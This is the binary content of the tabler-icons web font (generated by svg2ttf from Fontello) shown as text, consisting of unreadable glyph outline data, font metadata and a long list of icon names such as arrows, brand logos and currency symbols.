v2`i232!7>76#!#"'.4?6'##"&'&547676?#"&'&'54676;62"&46!2"&'&'&547676"264&2#"&54?>4&"324&#"326765%"3276'&'&    '4 I%% T   #$5$$ pp   " "'       1  T6( (8#    "T   *%4$#7# pp  *   # &=    0# 2Fjmr2'&/#"'&'.4?6'##"'&'&547676?'&'&47676&5467>;75%&'&'&67637%3#!&4&#"326%327      ' &3    F/ J  X   T;)   1  #     .G0   &   ST* 9 1g2/!746+32#"'&'.7657##1"&'&'&54?>?6?#"'&54676!232+'&'&=#"'.'&7676;54>2654'&'&#"%"32676./&(   ;  " +)  7   I 5 -+ +- -+    1  "   R"4! #. 1:    -+ 5   !8 5  %R  3w2#!#"'&'.4?6'##"'&'&547676?#"&'&'54676;6;22'&#'!7>76'"&=>?'.=4676327>+"&/4&#"276765%"2764'&0  +! '%2        8L  y \ 6 <5  8 S  "  736;54?67>76?6;6"!5&'!!5 #-, 310 S"S  0 #  M?c& L F !GC $C? 1 UR  RU/. ># DF T ||22?6?6232?6?6?67676;6#"'&'&/&'#"'&'&/&541#&'&/#".76?67'&'&54?6?63"6767654'&'&'C    O          * "?*7 , #     ,&N '# # v +    !      $>  # =  / AP N% SA2- (L1,[l2#"'&/&/&'&/&/57676;6#327676767654'&/&/&/&/47654'&  ^a)U#' KY * >Q $   _d 1  ei7DeD G  L΂T");* ?6;62/&/'.'&='.7>?6#32#"&/&'&'&'54567>?6;6#35AW &#}. n$  *f +  *}.  m$  T}}u$KOty2+"&/.'&'54567>?6;627676"/.'&676547>#32#"&/&'&'&'54567>?6;6#35AW &#}. n$  * f  5*}.  m$  T}}u>k2#"'&'&/&/&'.547676?67676763#"32767676764'&'&'&'&'&#2#"'&'.54?67&'&54764&#"2?65"6=4&LA25 %  03**1<3%1 +! 51 E4,'= )"e"  +(:) / 4* % VA  '  !, %P;)-4RT@5+   :[A8*' R !"4  C' ?)  Y"w   w  t*Ccq!'.'&/&/767676;6"#367>7675.'2&/&'./&4767676327"7675.     # "" #$ "  3! 0%6   !    #     "T  " Q.'7  3  T   u/?]!&/&'&/76?6?676;667.'%#"??676'& #   ;   $ _#    !  (   g _  uwV"u/?!&/&'&/76?6?676;667.'%#0##"676767>32767>54'&'&#'7676764'&'& #   ;   $%   R: V  *.3 !  (   g  !    lK    A (J! u"27&'7676;63'67.'%#0##"676767>"32'.'&7>7654'&'&/67654'&'U O  -   $    % ! # "-  b U C! T     !    &    #  0 Y!t*Cpu!'.'&/&/767676;6"#367>7675.'22+'&'&/5#'&'&54767>353     # "" #$ "      DD VW #.  #     "T  " R jh !   5  "Dt(8!'&'&'&/767676;667.'%#"#";+"3276767654'&'&/&'&+5327654&'&/&      ""  $%. /(   0  -3   ' A=   + #    "g        S ! u+;{!&/&'&/7>76;667.'%#2&'&'&'.?632"'&'&'&47676?627"7>54& #   ;!  $+       b $ ( ! !!  (   'g    !    Y! (3  t(8[!'&'&'&/767676;667.'%#"#";?>76764&'&/&      ""  $%.  7<.   )*  + #    "g ! i   u"2j|7&'7676;63'67.'%#2"'&'.'&47676?'&'&'&5476?6327"276?6=4'&'&"7>54&U O  -   $+ %  b $   % % !U C! T %3  Y! % )  3%T&   u+;t!&/&'&/7>76;667.'%#%#"/&'.47676?62732'.54767676?'"276?6=4'&'& #   ;!  $/    + +!*)%-  *  $ !  (   'g 0=)%2 =*      1-^h2"'&/&## '&'&/&6?'.'&7>2"&/.'5'./#.'.54676737 xz  @&    ھ  r :1 =  & *   ҽ    k v0##"'&/#"'&7676;2?676?63"1;#332767673767654&'.+&/6767>7654./&#"'&'&/.#u w89%     )` ! $   "     $ )     #$    #  El   ! ,3   "%    &1#$    (   3"'"'&'&'&";326767!>'&'&/28r]  O6   8     l '] 2+g{2'&/"&'&'&'&54676?'.476762&'.?676?64/&/&"&?6?676?633276?'    GH<: 4$  :;54?676?67676?6"!5'.'462#"'&'&%2#"&/&>7>76"#"367>54'&'&/&9PN $0        FF #& )   )$.     6&om -     - mp  Tnnnn '  G)   S v[St232+32#+"'.=#"'.'&?676?67676?6;546?>32&'.'&'&'.'&?>?63"#&32"&'&=47>"32767654&      - mo)7   gm '   z!&   nnw' ) Z     7)     S     S  F    "t"    uA[fo232"'.'.=#"'&/&/&/&54?67>76?6;6;56767>76;54&/#"#"67'37>?)!!  )".    _{#kf jLT ; -%  %"   + &!b& ~u?^ipw232#"'&/&'&'5#&'&/.'&=46?67>;6"#";547676;54&'&"673#67367527>765(4      3%    "  <_SOX Thn+ ?@o{{77{|O8 0&' " %3   ,' + ]>/S 2WoiT :@@{|77w||6P-u$92"&'&'.4767>"67'&"6$7654&+%U   xwxxxxwx VV    VTST VTY<<;<<;<<  QP<FOX%!'.'&/&/7>?67676!#"'&/&=!32"353#!5'.'#3%"#2;7>?654'&'&/&  #        40L } EDy   $(  BC @     #     64FEDDE   # (    BEtCMV%&'&467637>?5!./5##"&'&5?>?67676!"353#!5'.'"#2;7>?654'&'&/&       7! 40L    $(  BC     bc46  #   + 7EDDE a # (    BE1$lox|7&'767'./&7>2"'&/+"'&'&=#"#&'.=4676735'./#/&/5#"'&'&=467673#3!'U"   uy  + 8   '       j< EDTU "    * %ݼ# jg DE  jT "H2#'.'&"#&'.5467637'.5463216763237'| t8%%8t |>NMb    bMN>_  T77T  !m%     %smP6Fy+'&'&=#/&/5'"/.'&76767676"32=&#"!;?>76'&/&/.   R  *!"6 . R    [&     >ED  &7:/! V  07fW8       \  'M6Fo+'&'&=#/&/5'"/.'&76767676"32=&#"6/&/3276?6'4'&/!7656/.   R  *!"6 . O V[ !      >ED  &7:/! V  07fW8 W \!        1"Hf42+"'&'&/&#"'&7>2'&'&7676?6?6?63"'&/&/&'.4767632%2'.54?6?676?632#"'&'&54767626=4'&+"3"&547676?6467632%21'&/&/&/&'&547>"&54>7676?6?67632%#"32>&#"'&/&     '  !     - &     '"   c)  (  #    c   4       '       /2  ( !#1 #           /2 ! 56  ; )  (    ,  " S    /2         'S"  ( M16|2#"&'&/&4?67675#"'&'&5476?6?>?>7627626?67>32'&'&='.'&547475>3!    UV/    :   7    1;,H"}1p .     ) 'kZQG  * AQ ! ae%   C$ )   K: F)  jPw?M v27676'./'&/+"&/#"&76?&'&/&5476?'.46767'.767'&'&>76;27676736&'6'67|,JK-!   V   V    ,JK-!   V  $ V   )  FKK++KK+K++KK++%-KJ,    V     V    %-KJ,    V '  V    * JK+,JK+K+,JK+,$2c&54767>?6;27676+'&'&=#"&/&'&'&=&'&76767"#";5'&'&'&54632546?67367327676213267>54'&?6767654'&'&/&=67654'&#""'&/&  7" 3      &    &     &      '%    >   Z'   + ) =>   UV VU ( *".*'       B'L    "  '&k        >  2-S_%+"&54/&'&+"&'.4>7676322'&/!&'&'&'&54?6?'.47676;'  '6$    #&';]]^\  [>  # E&  Y #& 7  ^] Ýk  2<}%#"/&'&'#"#"'&'#'&'&/&57676?'.'&7632'&'4733231#"'&'&=#'&'&'&76?'#&/5#&'.#32?6?67635&'326?"67654&  Z[%@F%<       +& ^^ y! /,(   J |     ---   N 2=      *  MJDX" li |// _   l     0X|21+"&/'&/"+"'&'&76?54567676?'./&>7'.=4>#"/&/#"/&/367   82 |O hG0  /FO|   26  !   lrr0   62  |OF/ 0Gg  O|   28   !!  krs,a2#"'&/&'&'&54767676!2#"&=76?67654'&/&'&5476"#";#"327676?;>76/&/#./76767>767>4&'&'&/.'&  "   & W             &#"   "  ,# +    %: P=UU4^   +? 8%46`VIK!B#;638M 23 93/P:^6    ' '  &!   D >    L2$2EIN&'676?676?6767676372"33"354&'&/&'&'&'&#37#357 ( "& ?7S< 7 W' V " _мh ?$ ;)&(   !H); $`< #A*"=5II( 4"   cu1%#"&/&/#"'&7676?'&/&'.4767676763227676?6762;'.'76767676;2+'&'&'&"354'&/&'&"67"6?>4&'&# #   /)   "*    5       "  '  10$3 L6 &$ T     "  ' &# " +9            $!3 g  e} !/!u1ix2!%'.54?67676?276764'&'&+'&'&/&7676;2;'.'&767676?63"35&'5.#67 20 .7 $U^GH  @0!      R )1   20 C5 - !   (      S 22 f1@s2'&/#"&/&'5&5476?67676?6?63#"32?6767676764'&'&/&/&'&'&/&"'&'1.#"7>76754&'.R+    rq  rr)'' M'/& 3  < '&,,:F0 1"   7 _  BF .(  1B3'!#40&( rr qr C/9f%* ;1)%  T '+6C2+# #9,   |BF .(  1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&"#"+327>=7>76?654'&'.+"&'&54?326/&'&/#54&RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(/ # ' :1       7= 41!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0 )  &$         %   [CIw223 '.'&=67676?6?6?>=>?6?676;6#376763232?6754'&'&'&'&/#"#"!>76/#"'&'.%      S+1    BTR)   r $ W    0 Z%7+#( 2G {M 0*  3"# *# S   " . 8+ A&#   m u0M%#'&'&/&'&5476?6!"#?554'+'&'.>5#&'.5476;7"'"3326?67676?4'&'&+5367654'&/) *)WVT %)IjjjjI)  0+ T DH  " A   T>  6.   , $##$ *  %    `E EE S   'Xm05&547676?676767632767>2#"'&/#"'&/&'&/&5476767"?676764'&'."27>76'&/&'&32?6? X_    .1/$ "C    8 $445 +0 \]"? O+   K  Y_ ? /% & $   K/4  .14  +0[^ #? !+ 1<2(M2"&/&'&547676?67632##"&'&'&54767632#"'#&"+"#&'&'&/&'&'&'&5476?>25'!326?>7#32767654&/&"#"#"/.;276767676=&V              @,   /      " #  =. # .#*4 F" '. $D 4$76 9$<$ .1     #        *%   ;%3    #\#so~g FJ )S    .) H$ 'u 2327632"'&/.'&'&/&'5&'&'&'&=467676767>?6?6?6767>?676?36&'&'&#"26?676716767>76?6?676=#"'&/&547672+"'.=476?>2#"&'&76762&54676762+"&5476";2676&    !    I $#5 4,     ';   h  ( ++  #+E!   *    d;   1  Y     &5   ( 8'     $,$%!   )!     u   & @4  "    &!   J  '= E  *  * } !% 8t{2"'.'&'&'&'&54?67>#"'&'&/&'3276?676767654'./&/37&#676757'67   & @ 0*21)d -*,#   !@7 ,  %'*5 #\P  p+=> 2=+,N  ,4"  KK &2)+).7   2  -)g,/E?I@+  ,  ]0.8B%; ^,4,+ {O O+=> u4L2#"'&'&=&=67>?62+&'.546762+&'.54676"&74763232#&54767676=4&"!" 76764'&'&    $^ e@   e@  4)       ?B "   U " ML  [S "   "  8'       56      " 1k2765'.5476?>7676372'&'1'&'&'&'&/&'&/&'5&547>76?6?676?67?>;232654/&#"/&'&/&#""#"6?6764&/&'&'&2654'&/&'&/&'&'&'&#"'"2654'&/.     !(      .  &+*#*7   =     1   M1  $   &    -,/   '#'+ #$ g      /$$!&1/5=5    $0-* *2  L    +  $  $ %)3  +(P;    &   .$'#   $ #2BFj|+'&'&'&'&'&5&5746?676?547676?6;6#3!!67>767545&'&'&/"'&5467672#"'&'&547676"#"3264&$    U7   H -  \  L  )2!  ) 1  (, +$,5   4B ' &$,(T)T   A  6     * .#S %u0Jo|2"+#"'&'&'&'5#/&'&'547676?6?67676763"#"!54/&'&'&/&/&#32676=/)"%   3   !|S(\[ -    >V   J>F 5 ,*B* 0    Ud M % # % SV %      @( |#|vl2#"'&/.'&/&54676;23276767676767676?>?63"/&/?6767676767654/.J  # '   16NF8/22     A*  L8 6 -= !"# 1A0+ ' *  '' .&   !="?1   '   ;S0 #" 9    #!(. '3GYjv2+"'&'&'&54?6767>?676;6"&!5'&'5&'&'!!3676?6'2'&'&?>2#"'&5463"2654&j*  "   -" :1A  0 3 p 3  $ I $ &3 % ! ,&2'  T  F  (F{    }%%Zrw%6767632#"'&/&""'&'&/&/&/&'&'&/&547>7'&'&5476762#7"32767654'&'&'&/&/&/&'&/&'&/&'&'&'" !   H*+* `1 - T,    ( " :        %(H;/ .E. ;,  l,- P!     ED' e )# !  .  /# "    6{ &)(        .  %B (  L00Ao2#"&'&'5#+"'&'&=46?6?67>?63454'.#"3%07676276?6#"'.'&=4>?6%"#"2;26?>=4'&'&+767>54'&'&3<!S   : S     -%/  (54CAX*    -1C 02.^r& S4  v5,        ,l'uq  u1'  K0 5n2#"'&'5&5&=&7>76"#"767654'&276?6+"&'&'&'&=4>?67676?632#""&/.46?>;276=&#"'&'&'&'&54?676"3276'&'&+$3F $   A    @C  @C  -  0++    % "  '*  0& MF$B .+ *$ SFC   ?C!)    BC?C  ,  ,MG*0   "S# K1-b&'&54?'"'&'&76762221%27676+"&'&'&'&=467676?632&/5#'&/&=676#"354'.p 02  %C4#  7   @C$-  Sl S     6At   5  ?C , , ^+-uc^T  K1/=s"'.'&54767676;2+'&'&5476?67>5'"6?6&276?6+"&'.'&5476?65476?632#"'&'&'547676"327676=&'&4"(  " 1*&,  L * K    @C    -WG#   5    > .$ ' 3MF*3    )    BC  , )FMP; DN0S CF ED 2(C^2'&/'&'&=&'&7>762/&/&'&547676!2'&/&54?6?63"&47676767632#"'&'&/4/&'&#"'#'&'.?>3!#&'.5476?>3  7367676'&/&   %      [ %-:5+       7     7     1 #KM MK   ,'  /        S  $       235476?6;63223367632#"&'&/#32'#&'./&'&'4=4747567>?6376'4/./#'&/&/&/"&/.'&=67676;676?#"&'&54?676#3#3%#35 ! &   ! K       R     )   16   :  1U    K "  TTSS*S  %      &    W    #   &  #F   #74 S .9   /  *SSSSS2@O`v%"'&'.'& '&'476?676?>;6;23676363##32&'&'&'!"6736;+"&'&546767!2+"&'&546767&'&5476732!&'&5476732"#"326?>54'&'&(( 4 G<15  (4 . +]% |         %  8 %        9T   . % %GS        !    !   S     1+Yx2"'&=4767632'.'&7>7676!!54762!#&'./&67>;6322#"'.'&547676;6!236#"'&476#3"#"367>54&+&z  < >   .  <  Z'  LD   .W     R#-  \P  RY  < TS(:IW7&54767>32! 462'&21#"&'&763#"&673>320#"7>4&|x {WV # $ { D # s   I!  ' 'i $K2bq232#"'&'&/&/&'&/&'&'&54?6767676767676?6?54676?6;6"3267654#""327676767>54'&'&/&/&'&/&#'3732#"'&/&'&4637354x   #   ;K!%4,%&        #    x     I.:0&$     %0   1  *,   *?'1   G    #  /8U      , 2#"'&/&546?6372#"&5467632"&'&767632#"'&/&546?637"3276?64&R ^  z   !  7  .   O ]      "       "                  &    #u)Jch  &'&'&'&76?6?6?6"!67>767&'.'&'2 '&/&76?6#35  !)$    E##"  } )! 22T#>###R  TT7&546762!|z " z~KLZD # w  # G}}2Y^z2#"/535476767323+#"'&/!#"'&'&'&47>757676?35'%#3767632=#"#&'&'&'&'7#3'&'&'&/&!72?63'"?>?6&!"?>?6&   ( S +51  &"3 "37 1T*X4)&MU"g  C$n ,, +-}    1 24` zTW  ' %!" "*mmmc LU RL%W{   ,0 * )"  "  Ue21" '&'&/&/&/&7676?676?676?6?63"37'&!!5&'&'&47>?2&547676!2.'&676"?>54&        2   3 &%   f  l- %   -  # ii  5Q    N  41<"`KH:   T   r*F+%' F *(    }  2rx{232+2#"&/&'.'&547632676&'.'./5#32 '&'&7676;#"'&'&756767676&/3%3 *    Y   3  # #    5     -+ik } )1jj1|{ Z  "?& # '  ( $ CD`     }jjL2P_cn222# '&'&'4#"&'5&5&547>?63?>73636;54676"#!54'&!!"!7654z %    : 2*W m   T 1   @$ =   +D  -:   })T#"'&'&'&547>76767676;2765'.5476?6?676?632'&'32 '&'&54?6?>?6767363637&74&#"#"327>76;67/.547>76%37>73232654/&#"/&'&/&#"!)54'&'5&'  ." # #=  /00/    #!    ?#  :     %:,   *? =@ N 0   1  JJ r $2   ( 0///     $:N8  ' "     *? =A       +   G  ukry}23545676?>232+#&'.'&'5##'.'&=#"&'.'57>;54?>7676&'3%&'3!!#3%#35W2& R &2 >  [P R P[   . 7SMSSF`SS#)S1&   &'   &1>  li [P @=   zz   =@ P[ il.TSTRRRR\7"&54?6?6?'&'&'546763276?6767676;2#"'&/&'&/&#"327&/&'&54?67&32?67676&/&'&'&'&2#"'&54767676?6";2676&^ ) 2 M2KR 96).  #3A3 " QC +."- >#"$7)   #2#22   ^ .2 *  *       ( 7 6%  $.   +//  !"& A6     ! ($()R:  "     Q  !%1+J[2#'"'&'&5476?'547676?63#";2767654'&'&'.'3276'G<-< $)1=߁U _ E.'  #HI.# 6 26I M0(ZJ! *$q! m*$S.T(HI!&:"!2>T#v11@D[l2!1 '.'&/47676?67676!3547632!!!'2#"'&'&5476?63"3271654&Q kk +    ) F     1  ,+1P!  ON|T     ';p2#"&'&547676;2#"&'&547676;2#"&'&5476763 3 '.'&?6?3.'&'&/&54676;6!;2767676?6=         xx !Hl l/   &:PfC !C?  ?C !C?  ?C !C?  ?C &&%M<    />14  T!  C'v0;j2 '.'56?6!&'#"&'&'567>767#"#!326767676'&'&'&'&  d   F G   ' >B )A 0RT   ,)HIIHY  x  US  (  >B  )Av1>m2 './&6?>32!&''&'&/5676767>#"32654'5&/!67>4'&'&+7676=4'&V  d  F   s   41  U  IHIH   3, WU   o ! 6      + 6 +B m       V &Ztabler-iconsRegulartabler-iconstabler-iconsVersion 1.0tabler-iconsGenerated by svg2ttf from Fontello project.http://fontello.comtabler-iconsRegulartabler-iconstabler-iconsVersion 1.0tabler-iconsGenerated by svg2ttf from Fontello project.http://fontello.com       !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~     ad adjustmentsalarm alert-circlealert-triangle align-centeralign-justified align-left align-rightarchive arrow-backarrow-bar-downarrow-bar-leftarrow-bar-right arrow-bar-uparrow-down-circlearrow-down-left-circlearrow-down-leftarrow-down-right-circlearrow-down-right arrow-down arrow-forwardarrow-left-circle arrow-leftarrow-narrow-downarrow-narrow-leftarrow-narrow-rightarrow-narrow-uparrow-right-circle arrow-rightarrow-up-circlearrow-up-left-circle arrow-up-leftarrow-up-right-circlearrow-up-rightarrow-uparrows-diagonal-2arrows-diagonalarrows-maximizearrows-minimizeartboardataward backspaceban battery-1 battery-2 battery-3 battery-4battery-chargingbatterybellbike bluetoothboltbookbookmark border-all border-bottomborder-horizontal border-inner border-left border-none border-outer border-right border-topborder-verticalbox briefcasebucketbug building-archbuilding-bridge-2building-bridgebuilding-churchbuilding-hospitalbuilding-storebuildingbulb-offbulbcalendar-eventcalendarcameracashcastchart-area-line chart-area chart-bar chart-candle chart-donut chart-line chart-piecheck chevron-down chevron-left chevron-right chevron-up chevrons-down chevrons-leftchevrons-right chevrons-up circle-check circle-minus circle-pluscircle-xcircleclipboard-checkclipboard-list clipboard-x clipboardclockcloud-download cloud-rain cloud-snow cloud-storm cloud-uploadcloudcodecommandcompasscopy copyrightcorner-down-leftcorner-down-rightcorner-left-downcorner-left-upcorner-right-downcorner-right-upcorner-up-leftcorner-up-right credit-cardcropcut dashboarddatabasedevice-desktop device-mobiledevice-speaker device-tablet device-tv directionsdisableddiscdots-circle-horizontaldots-diagonal-2 dots-diagonal dots-verticaldotsdownloaddropletedit external-linkeyeface-id file-check file-download file-minus file-music file-plus file-shredder file-textfile-xfilefilterflagflip-horizontal flip-vertical folder-minus folder-plusfolder-xfolderfoldersframefriendsgauge git-branch git-commit git-compare git-mergegit-pull-request glass-fullglassglobe grid-dotshash headphoneshearthelphome-2home ice-creamidinbox info-circle info-squarekeylayers-differencelayers-intersectlayers-subtract layers-unionlayout-2layout-align-bottomlayout-align-centerlayout-align-leftlayout-align-middlelayout-align-rightlayout-align-toplayout-bottombarlayout-columnslayout-distribute-horizontallayout-distribute-vertical layout-navbar layout-rowslayout-sidebar-rightlayout-sidebarlayoutlegolifebuoylink live-photolocation lock-openlockmagnet mail-openedmailmanmap-2map-pinmapmaximizemenu message-2message-circle message-dotsmessage microphoneminimizeminus mood-confuzed mood-happy mood-neutralmood-sad mood-smilemoonmousemoviemugmusicnews notificationpackagepaintpalette paperclipparkingpencil phone-callphone-incomingphone-outgoing phone-pausephonephotopluspointpowerprinterpromptpuzzleqrcode record-mailrefresh registeredrotate-clockwiserotaterouterouterrssrulerscissorssearchselectorsendserversettingsshare shield-checkshield-xshield shopping-cartsort-ascendingsort-descending square-check square-minus square-plussquare-xsquarestackstarstickersunswitch-horizontalswitch-verticalswitchtagtargettemperature-celsiustemperature-fahrenheit temperaturetemplate test-pipe thumb-downthumb-upticket toggle-left toggle-righttooltrash trending-down trending-uptriangletrophyunlinkuploadurgent user-check user-minus user-plususer-xuser viewfindervolume-2volume-3volumewifiwomanworldxzoom-inzoom-outaperturearrows-horizontal arrows-sortarrows-verticalbed caret-down caret-left caret-rightcaret-up color-swatch device-floppydevice-gamepad device-laptopdiamonddice file-invoicegiftinfinity list-checklistmessagesnotenotesplane presentation repeat-oncerepeatsumviruswalletanchor arrow-back-uparrow-forward-upatombandagebold border-radiusbrightness-down brightness-up brightness calculatorcoincolumnscurrency-dollar currency-eurodevice-mobile-vibrationdevices drag-drop-2 drag-dropeggeraserexposurefocusghostgit-forkheadsetindent-decreaseindent-increaseitalic line-height mood-tonguenotebookomega plane-arrivalplane-departurerecycleshapesitemap strikethrough subscript superscripttable underlinewifi-0wifi-1wifi-2checkboxloginlogout accessiblecheckscurrency-bitcoincurrency-poundcurrency-rupee currency-yen disabled-2file-horizontal float-center float-left float-rightrotate-2rotate-clockwise-2appsbrowserbrushcalendar-minus calendar-pluscarclickdiscountlanguagelicense new-sectionscaletruck typographybarcodereplacescan slideshowtoolswandbracesbracketsearemphasis file-code fingerprintflaskfocus-2forbid-2forbidkeyboardoutlet parenthesesplug separatorsliceterminal text-wrapalienatom-2basket building-bankbuilding-warehousebusclear-formatting color-pickerexchange firetruckforklifthistorymathsocialtemperature-minustemperature-plus terminal-2tirumbrellausersviewport-narrow viewport-wide ambulancebuilding-communitybuilding-pavilon device-watchdirection-horizontal directiongrip-horizontal grip-verticalhexagonmood-kid mood-suprised phone-check phone-plusphone-xplanet servicemarkshirt snowflakespacetractor trademark traffic-conetreesuser-exclamation layout-cards layout-listrotate-rectangle brand-android brand-apple brand-chromebrand-dribbblebrand-facebook brand-framer brand-github brand-gitlabbrand-google-drive brand-googlebrand-instagram brand-opera brand-paypal brand-safari brand-sketchbrand-snapchatbrand-telegram brand-twitterball-basketball ball-bowling ball-tennisball-volleyballflamehand-middle-finger hand-stop medical-crossmistsunsetwindyin-yanga-badjustments-altadjustments-horizontalbuilding-skyscraper camera-minus camera-pluscapturecopyleft crosshair layout-kanbanlinemarkdownmenu-2 phone-callingpillrocket tallymark-1 tallymark-2 tallymark-3 tallymark-4 tallymarkstruck-delivery truck-return zoom-cancelcontrastletter-aletter-bletter-cletter-dletter-eletter-fletter-gletter-hletter-iletter-jletter-kletter-lletter-mletter-nletter-oletter-pletter-qletter-rletter-sletter-tletter-uletter-vletter-wletter-xletter-yletter-z letters-case live-viewscooter brand-behance brand-codepen brand-mediumbrand-messenger brand-slack brand-tiktokbrand-whatsapp chart-bubblecometmarqueemedalseparator-horizontalseparator-verticalsteering-wheelcaravan gas-station keyboard-hide keyboard-showmars page-breakrunsailboatshipvenuswalkarrow-bar-to-downarrow-bar-to-leftarrow-bar-to-rightarrow-bar-to-upbrand-linkedinbrand-pinterest brand-reddit brand-tabler brand-youtube file-uploadswimming brand-figmah-1h-2h-3h-4h-5h-6 message-plusmessage-reportpin question-markselectsubtask2fabrand-tailwindloader-quarterloader stairs-down stairs-upstairstext-wrap-disabledvector-trianglevector wiper-washwiperzodiac-aquarius zodiac-aries zodiac-cancerzodiac-capricorn zodiac-gemini zodiac-leo zodiac-libra zodiac-pisceszodiac-sagittariuszodiac-scorpio zodiac-taurus zodiac-virgo biohazardfall heart-brokenmood-crymopedoctagonpeacepray radioactivescooter-electric skateboard smoking-nosmokingtrident alert-octagonantenna-bars-1antenna-bars-2antenna-bars-3antenna-bars-4antenna-bars-5 tournament wave-saw-tool wave-sine wave-square3d-cube-sphere brand-windows cloud-fog curly-loopdevice-mobile-rotated file-phone road-sign smart-homesquare-rotated step-intostep-outtornado brand-discord circle-squarecirclesmoon-2 moon-starstriangle-square-circlebell-offbluetooth-connected bluetooth-offbolt-off bookmark-off camera-offcurrent-locationeye-off file-difffile-off map-pin-off percentage phone-off photo-offschool shield-offuser-offwifi-offbrand-deviantart brand-edge brand-firefox brand-flickrbrand-foursquare brand-pocket brand-python brand-skype brand-spotify brand-tumblr brand-twitch brand-vimeo bell-ringing bookmarkschevron-down-leftchevron-down-rightchevron-up-leftchevron-up-rightchevrons-down-leftchevrons-down-rightchevrons-up-leftchevrons-up-rightcredit-card-offcrown float-none folder-offhand-offmicrophone-offscreen-share-off screen-share star-halfaccess-point-off access-point battery-offheadphones-offlock-off video-minus video-off video-plusvideoactivitybrand-appstorebrand-google-playbuilding-monument circle-dashed circle-dotted devices-2 file-dislike file-like filter-offmood-boyworld-latitudeworld-longitude aspect-ratiokaratepanorama-horizontalpanorama-verticalpicture-in-picturerectangle-vertical rectanglestarstraffic-lightsvector-beizer-2arrow-ramp-leftarrow-ramp-right cloud-offmessage-circle-off message-off messages-offpicture-in-picture-offpicture-in-picture-on player-pause player-play player-recordplayer-skip-backplayer-skip-forward player-stopplayer-track-nextplayer-track-prevfile-certificatefile-zipleafplantseedingversions file-symlink fold-downfold-upfold refresh-alert shield-lock square-dotsquare-forbid-2 square-forbiddivide file-searchmap-pins pinned-offpinned speakerphonestar-offsun-off tools-kitchen trash-off virus-off virus-search brand-airbnbbrand-apple-arcadebrand-codesandbox brand-css3 brand-html5 brand-kotlinbrand-soundcloud brand-steam brand-tidal brand-tinderbrand-vk brand-yahoo cardboardsce certificate chart-radarchristmas-treedronegpsmanual-gearbox parachutepennantplant-2relation-many-to-manyrelation-one-to-manyrelation-one-to-onerippleview-360windmillbackhoebuilding-carouselbuilding-castlebuilding-fortressbuilding-lighthousegolfhelicopter-landing helicopter jump-ropemood-crazy-happypool soccer-field speedboat submarinetanktrain wrecking-ballarrow-bottom-bararrow-bottom-circlearrow-bottom-squarearrow-bottom-tailarrow-left-bararrow-left-squarearrow-left-tailarrow-loop-leftarrow-loop-rightarrow-right-bararrow-right-squarearrow-right-tail arrow-top-bararrow-top-circlearrow-top-squarearrow-top-tailarrow-wave-left-downarrow-wave-left-uparrow-wave-right-downarrow-wave-right-uparrows-down-up arrows-down arrows-join-2 arrows-joinarrows-left-right arrows-leftarrows-right-left arrows-rightarrows-split-2 arrows-splitarrows-up-down arrows-upbonelayout-grid-add layout-gridpizzarainbow receipt-tax stethoscopeswitch-2switch-3trending-down-2trending-down-3 trending-up-2 trending-up-3 brand-asana brand-bingbrand-bitbucket brand-booking brand-disqus brand-dockerbrand-google-analyticsbrand-gravatar brand-hipchatbrand-kickstarter brand-netflixbrand-open-source brand-pagekit brand-patreonbrand-producthunt brand-sass brand-sentry brand-shazam brand-stripebrand-unsplashbrand-ycombinatorarrow-big-downarrow-big-leftarrow-big-right arrow-big-toparrows-double-ne-swarrows-double-nw-searrows-double-se-nwarrows-double-sw-ne bell-minus bell-plusbell-ringing-2bell-x file-alertfile-analytics file-code-2 file-export file-import zoom-question file-info file-report files-offfilesnumber-0number-1number-2number-3number-4number-5number-6number-7number-8number-9 receipt-2 receipt-offreceipt-refundreceipt aerial-lift affiliatearrows-left-downarrows-right-downarrows-up-leftarrows-up-rightball-american-footballball-football-off ball-footballbattery-automotivebinary blockquote border-style box-margin box-modelbox-multiple-0box-multiple-1box-multiple-2box-multiple-3box-multiple-4box-multiple-5box-multiple-6box-multiple-7box-multiple-8box-multiple-9 box-multiple box-padding brightness-2brightness-halfbuilding-cottagebuilding-factory bulldozer businessplan calendar-offcalendar-stats calendar-time camera-rotate camera-selfiecash-banknote-off cash-banknote charging-pile chart-arcs-3 chart-arcschart-arrows-vertical chart-arrows chart-circles chart-donut-2 chart-donut-3 chart-donut-4 chart-dotschart-infographic chart-pie-2 chart-pie-3 chart-pie-4circle-0circle-1circle-2circle-3circle-4circle-5circle-6circle-7circle-8circle-9circle-half-vertical circle-half circle-off clear-all code-minus code-pluscolumn-insert-leftcolumn-insert-rightconfetti containercorner-down-left-doublecorner-down-right-doublecorner-left-down-doublecorner-left-up-doublecorner-right-down-doublecorner-right-up-doublecorner-up-left-doublecorner-up-right-double crown-offcurrency-bahraini currency-bath currency-centcurrency-dinarcurrency-dirhamcurrency-dollar-australiancurrency-dollar-canadiancurrency-dollar-singaporecurrency-ethereumcurrency-forintcurrency-frankcurrency-krone-czechcurrency-krone-danishcurrency-krone-swedish currency-leu currency-liracurrency-litecoincurrency-naira currency-realcurrency-renminbicurrency-ripplecurrency-riyalcurrency-rubelcurrency-shekel currency-takacurrency-tugrik currency-woncurrency-zloty cursor-textdatabase-exportdatabase-import database-offdetailsdevice-analyticsdevice-audio-tape device-cctvdevice-computer-camera-offdevice-computer-cameradevice-desktop-analyticsdevice-desktop-offdevice-mobile-message devices-pc dimensions discount-2dna drone-offdroplet-filled-2droplet-filleddroplet-half-2 droplet-half droplet-offear-off edit-circle equal-notequal eye-check eyeglass-2eyeglassfeatherflag-2flag-3flareformsgeometry glass-offgraingrowth hand-fingerhand-little-fingerhand-ring-finger hand-rockhand-three-fingershand-two-fingershangerheading 